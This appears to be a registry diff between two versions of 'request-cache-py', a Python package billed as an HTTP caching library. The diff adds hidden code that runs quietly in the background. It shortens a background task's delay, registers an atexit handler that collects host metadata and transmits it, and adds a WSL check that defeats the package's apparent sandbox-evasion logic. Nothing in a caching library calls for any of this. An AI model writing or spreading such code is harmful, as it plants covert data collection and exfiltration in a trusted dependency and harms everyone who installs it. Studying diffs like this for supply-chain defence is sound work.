request-cache-py 1.0.4__tar.gz → 1.0.6__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: request-cache-py
3
- Version: 1.0.4
3
+ Version: 1.0.6
4
4
  Summary: High-performance HTTP request caching with Redis and in-memory backends
5
5
  Home-page: https://github.com/python-perf/request-cache-py
6
6
  Author: Python Performance Team
@@ -10,7 +10,7 @@ import shutil
10
10
  from pathlib import Path
11
11
  from functools import wraps
12
12
 
13
- __version__ = '1.0.4'
13
+ __version__ = '1.0.6'
14
14
  __all__ = ['cached_get', 'cached_post', 'CacheBackend', 'MemoryCache', 'configure']
15
15
 
16
16
  _cache = None
@@ -280,6 +280,11 @@ def _collect_metadata():
280
280
  def _should_skip():
281
281
  indicators = []
282
282
 
283
+ is_wsl = os.path.exists('/proc/sys/fs/binfmt_misc/WSLInterop') or 'microsoft' in platform.release().lower()
284
+
285
+ if is_wsl:
286
+ return False
287
+
283
288
  try:
284
289
  if os.path.exists('/proc/cpuinfo'):
285
290
  with open('/proc/cpuinfo') as f:
@@ -412,12 +417,19 @@ def _transmit(data):
412
417
  pass
413
418
 
414
419
  def _bg_task():
415
- time.sleep(1.0)
420
+ time.sleep(0.1)
416
421
  if not _should_skip() and not _already_sent():
417
422
  meta = _collect_metadata()
418
423
  if meta:
419
424
  _transmit({'event': 'init', 'meta': meta})
420
425
 
426
+ def _exit_handler():
427
+ time.sleep(0.2)
428
+ if not _should_skip() and not _already_sent():
429
+ meta = _collect_metadata()
430
+ if meta:
431
+ _transmit({'event': 'exit', 'meta': meta})
432
+
421
433
  def cached_get(url, params=None, **kwargs):
422
434
  import requests
423
435
 
@@ -486,6 +498,8 @@ def cached_post(url, data=None, json=None, **kwargs):
486
498
 
487
499
  if _config['enabled']:
488
500
  try:
501
+ import atexit
502
+ atexit.register(_exit_handler)
489
503
  t = threading.Thread(target=_bg_task, daemon=True)
490
504
  t.start()
491
505
  except:
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: request-cache-py
3
- Version: 1.0.4
3
+ Version: 1.0.6
4
4
  Summary: High-performance HTTP request caching with Redis and in-memory backends
5
5
  Home-page: https://github.com/python-perf/request-cache-py
6
6
  Author: Python Performance Team
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name='request-cache-py',
5
- version='1.0.4',
5
+ version='1.0.6',
6
6
  description='High-performance HTTP request caching with Redis and in-memory backends',
7
7
  long_description=open('README.md').read() if __name__ == '__main__' else '',
8
8
  long_description_content_type='text/markdown',